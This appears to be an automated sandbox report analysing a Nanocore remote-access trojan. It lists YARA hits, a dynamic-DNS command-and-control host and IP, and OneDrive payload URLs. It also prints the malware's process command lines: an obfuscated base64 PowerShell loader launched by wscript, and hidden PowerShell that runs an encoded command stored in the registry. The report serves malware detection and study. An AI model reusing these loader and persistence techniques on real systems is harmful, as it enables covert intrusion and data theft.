"<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo />\r\n <Triggers />\r\n <Principals>\r\n <Principal id=\"Author\">\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n <AllowHardTerminate>true</AllowHardTerminate>\r\n <StartWhenAvailable>false</StartWhenAvailable>\r\n <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n <IdleSettings>\r\n <StopOnIdleEnd>false</StopOnIdleEnd>\r\n <RestartOnIdle>false</RestartOnIdle>\r\n </IdleSettings>\r\n <AllowStartOnDemand>true</AllowStartOnDemand>\r\n <Enabled>true</Enabled>\r\n <Hidden>false</Hidden>\r\n <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n <WakeToRun>false</WakeToRun>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <Priority>4</Priority>\r\n </Settings>\r\n <Actions Context=\"Author\">\r\n <Exec>\r\n <Command>\"#EXECUTABLEPATH\"</Command>\r\n <Arguments>$(Arg0)</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task"}

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

Avira URL Cloud: Label: malware

Yara detected Nanocore RAT

Source: Yara match	File source: 37.2.CasPol.exe.1f1eeadc.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f19eadc.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f1a3105.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1f3105.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f19eadc.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1e9ca6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f199ca6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1eeadc.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 3064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 7664, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: caspol.pdbx source: CasPol.exe, 00000010.00000003.266576966136.00000000208A2000.00000004.00000800.00020000.00000000.sdmp, dslmon.exe, 00000014.00000002.266736797377.0000000000B62000.00000002.00000001.01000000.00000007.sdmp, dslmon.exe, 0000001A.00000002.266898010453.0000000000BF2000.00000002.00000001.01000000.00000007.sdmp, dslmon.exe.16.dr
Source:	Binary string: caspol.pdb source: dslmon.exe, dslmon.exe, 0000001A.00000002.266898010453.0000000000BF2000.00000002.00000001.01000000.00000007.sdmp, dslmon.exe.16.dr

Networking

Potential malicious VBS script found (has network functionality)

Source:

Initial file: D_Stream.SaveToFile Gefullte5, 2

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://onedrive.live.com/download?cidO
Source: Malware configuration extractor	URLs: tochukwu1122.ddns.net
Source: Malware configuration extractor	URLs: 127.0.0.1

Uses dynamic DNS services

Source: unknown

DNS query: name: tochukwu1122.ddns.net

Source: Joe Sandbox View

ASN Name: DAVID_CRAIGGG DAVID_CRAIGGG

Source: global traffic

TCP traffic: 192.168.11.20:49811 -> 185.140.53.143:1122

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: powershell.exe, 0000000A.00000002.266616415243.0000000008E36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.266461629328.0000000008E35000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.266608445995.00000000080D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.266459610439.00000000080D0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266840482525.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266562042776.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267134796205.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267399589907.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267057712404.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266971022965.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268393588039.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268401907263.000000000122D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 0000000A.00000002.266616415243.0000000008E36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.266461629328.0000000008E35000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.266608445995.00000000080D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.266459610439.00000000080D0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266840482525.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266562042776.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267134796205.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267399589907.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267057712404.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266971022965.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268393588039.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268401907263.000000000122D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: powershell.exe, 0000000A.00000002.266604273172.000000000641A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.266590681721.0000000005509000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.266588787753.00000000053B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.268515140389.0000000004D71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.268357616536.0000000004BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268352485259.0000000005351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.266590681721.0000000005509000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000A.00000002.266588787753.00000000053B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.268515140389.0000000004D71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.268357616536.0000000004BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268352485259.0000000005351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 0000000A.00000002.266604273172.000000000641A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.266604273172.000000000641A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.266604273172.000000000641A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.266590681721.0000000005509000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000003.266207346947.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: CasPol.exe, 00000010.00000003.266840482525.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266562042776.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266561876381.00000000016C0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266840397089.00000000016C0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266551480695.00000000016C1000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267134796205.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267399589907.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267057712404.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266971022965.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268392159029.0000000001158000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268394477912.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268401907263.000000000122D000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268401655086.0000000001208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/
Source: CasPol.exe, 00000010.00000003.266840482525.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266562042776.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267134796205.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267399589907.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267057712404.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266971022965.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/&.
Source: CasPol.exe, 00000022.00000002.268393588039.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/)M
Source: CasPol.exe, 00000022.00000002.268393588039.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/EM
Source: CasPol.exe, 00000025.00000002.268401907263.000000000122D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/N
Source: CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/P
Source: CasPol.exe, 00000022.00000002.268394477912.00000000011ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/_Event_
Source: CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/y
Source: CasPol.exe, 00000025.00000003.268315507584.0000000001285000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000003.268319359560.0000000001285000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268402634074.0000000001275000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/y4m3WEg51wPpMvwOBDGQxc03AePN0yY86OyXcDJxrS2Yo4kmiHKJqicrFmOOu5sbK8F
Source: CasPol.exe, 00000010.00000003.266562538409.0000000001711000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266562042776.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000003.268320218693.00000000012A1000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000003.268319359560.0000000001285000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268402634074.0000000001275000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/y4m624plfyYIXAWdtfrz_bfoDWfcwPUj5QFno4RLBcRH3SrJIxCwmlV2VAmgwJvM6c3
Source: CasPol.exe, 00000010.00000003.266562042776.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266552003351.0000000001712000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267134796205.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267399589907.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267057712404.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266971022965.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/y4mLaMkqxgfgA77Nhx7Bu5i00p-BE1O1XpIc_eFvfEnM8XOp9-VuvKR5WbEVOk6Ajy9
Source: CasPol.exe, 00000022.00000003.268306189563.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/y4mamlucM5WMHi-wCNvNvuQyTGytao2V_4itsZyI16BJ46ANIo0HsJrTQX8HYAUh18L
Source: CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kadnjg.bn.files.1drv.com/z.3
Source: powershell.exe, 0000000A.00000002.266604273172.000000000641A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: CasPol.exe, 00000022.00000002.268393588039.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268392159029.0000000001158000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000003.268306189563.0000000001212000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268401907263.000000000122D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/
Source: CasPol.exe, 00000025.00000002.268398436566.0000000000B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?cid=2B80EFEE51D0620B&resid=2B80EFEE51D0620B%21266&authkey=AEVbDmT
Source: CasPol.exe, 00000022.00000002.268393588039.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/x0?b

Source: unknown

DNS traffic detected: queries for: onedrive.live.com

Source: CasPol.exe, 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: RegisterRawInputDevices

E-Banking Fraud

Yara detected Nanocore RAT

Source: Yara match	File source: 37.2.CasPol.exe.1f1eeadc.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f19eadc.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f1a3105.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1f3105.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f19eadc.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1e9ca6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f199ca6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1eeadc.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 3064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 7664, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 37.2.CasPol.exe.1e1c3f10.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.CasPol.exe.1e173f10.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 37.2.CasPol.exe.1f1eeadc.3.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.CasPol.exe.1f19eadc.2.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.CasPol.exe.1f1a3105.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 37.2.CasPol.exe.1f1f3105.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.CasPol.exe.1f19eadc.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 37.2.CasPol.exe.1f1e9ca6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 37.2.CasPol.exe.1f1e9ca6.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 34.2.CasPol.exe.1f199ca6.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.CasPol.exe.1f199ca6.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 37.2.CasPol.exe.1f1eeadc.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: CasPol.exe PID: 3064, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: CasPol.exe PID: 7664, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQ